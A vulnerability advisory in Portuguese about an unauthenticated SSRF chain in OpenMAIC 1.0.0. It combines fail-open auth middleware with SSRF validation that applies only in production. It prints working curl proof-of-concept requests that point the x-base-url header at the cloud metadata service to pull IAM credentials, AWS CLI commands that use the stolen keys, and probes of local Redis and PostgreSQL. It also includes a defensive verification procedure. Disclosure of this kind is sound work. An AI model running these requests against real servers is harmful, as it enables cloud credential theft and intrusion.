
OpenMAIC 1.0.0: SSRF de saída não autenticado para o serviço de metadados da nuvem via middleware fail-open e bypass de validação condicionado por ambiente
Verificado. Existe uma cadeia de exploração de duas etapas no middleware de autenticação do OpenMAIC e na camada de requisições de provedores de saída que permite a um atacante remoto não autenticado fazer com que o servidor da aplicação emita requisições HTTP de saída arbitrárias - incluindo para o Instance Metadata Service (IMDS) da nuvem em 169.254.169.254 - sem possuir quaisquer credenciais.
Etapa 1: O middleware Edge do Next.js em middleware.ts implementa uma postura fail-open quando a variável de ambiente ACCESS_CODE está ausente. Na configuração padrão do .env.example, ACCESS_CODE não está definida, o que significa que todas as 70 rotas de API estão globalmente não autenticadas e acessíveis por qualquer cliente externo.
Etapa 2: Em cinco manipuladores de rotas de API distintos, as URLs base de provedores fornecidas pelo cliente (via parâmetros de requisição x-base-url ou baseUrl) só passam por validateUrlForSSRF() quando process.env.NODE_ENV === 'production'. Em qualquer ambiente development, staging, preview ou não definido, a proteção contra SSRF é completamente ignorada e a aplicação emite um fetch() de saída para a URL controlada pelo atacante.
Encadeadas: um atacante não autenticado fornece x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ para qualquer endpoint de geração, e o servidor busca as credenciais da função IAM da nuvem e as retorna na resposta. Nenhuma conta prévia, nenhum token, nenhum ponto de apoio local necessário.
O middleware é o único portão de autenticação para todas as rotas de API. Quando ACCESS_CODE não está definida - o estado padrão conforme .env.example - toda requisição para toda rota passa imediatamente. Não há mecanismo de fallback, nenhum aviso emitido, nenhuma verificação de autenticação alternativa. O fail-open é incondicional e silencioso. Isso expõe 70 endpoints de API, incluindo rotas de geração, persistência, proxy de mídia, extração e execução de IA, a qualquer chamador não autenticado.
A função validateUrlForSSRF em lib/server/ssrf-guard.ts já trata exceções específicas de ambiente corretamente via ALLOW_LOCAL_NETWORKS. O portão NODE_ENV em cada manipulador de rota é totalmente redundante como recurso de modo de desenvolvimento, mas catastrófico como fronteira de segurança: ele desabilita a validação de SSRF globalmente em implantações de staging, preview, CI/CD e auto-hospedadas onde NODE_ENV não está explicitamente definido como 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Resposta esperada (passthrough do IMDS):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Resposta esperada:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis na porta padrão - resposta do protocolo RESP retornada no erro da API
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL na porta padrão
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Fase | Passo | Efeito |
|---|---|---|
| 1. Ingresso Não Autenticado | Cliente remoto envia requisição HTTP para /api/generate/image sem cookies ou tokens | middleware.ts avalia !process.env.ACCESS_CODE e invoca NextResponse.next() |
| 2. Ingestão de Cabeçalho | Atacante especifica endereço interno alvo no cabeçalho: x-base-url: http://169.254.169.254/... | Manipulador de rota extrai clientBaseUrl dos cabeçalhos da requisição |
| 3. Bypass de SSRF | Ambiente do servidor tem NODE_ENV !== 'production' (ex.: staging ou padrão do contêiner) | Manipulador avalia process.env.NODE_ENV === 'production' como false e ignora validateUrlForSSRF() |
| 4. Destino da Requisição de Saída | Cliente do serviço inicializa com a URL base fornecida pelo atacante e executa a requisição | Servidor realiza fetch() de saída para http://169.254.169.254/ |
| 5. Exfiltração de Metadados | O serviço de metadados da instância na nuvem responde com metadados ou credenciais de segurança IAM | Servidor incorpora o corpo da resposta HTTP no payload de retorno da API ou na mensagem de erro |
| 6. Pivô na Nuvem | Atacante extrai credenciais de segurança temporárias da AWS/GCP/Azure | Atacante usa as credenciais da nuvem externamente para acessar recursos e armazenamentos de dados na nuvem |
Pré-condições:
ACCESS_CODE definida (configuração padrão).NODE_ENV não está estritamente definido como 'production' (ex.: staging, dev, auto-hospedado ou contêiner mal configurado).Para confirmar a alcançabilidade e validar as defesas de segurança sem implantar payloads maliciosos:
process.env.ACCESS_CODE é indefinida, middleware.ts retorna NextResponse.next(). Enviar uma requisição HTTP sem cabeçalhos de autenticação para qualquer endpoint protegido (ex.: POST /api/generate/image) produz uma resposta no nível do endpoint (ex.: 400/401 para configuração do provedor) em vez de uma rejeição 401 Access Code Required.NODE_ENV="staging" ou NODE_ENV="development", inspecione se validateUrlForSSRF é chamada. Devido a if (clientBaseUrl && process.env.NODE_ENV === 'production'), a execução salta o bloco de validação e tenta conexão de rede com a URL base especificada.NODE_ENV='development' e fornecendo uma URL de loopback http://127.0.0.1:9999 verifica se a requisição é rejeitada com INVALID_URL (403) ou permitida a prosseguir para o transporte de rede. No estado não corrigido, a requisição tenta conexão de socket; no estado corrigido, é imediatamente rejeitada com HTTP 403.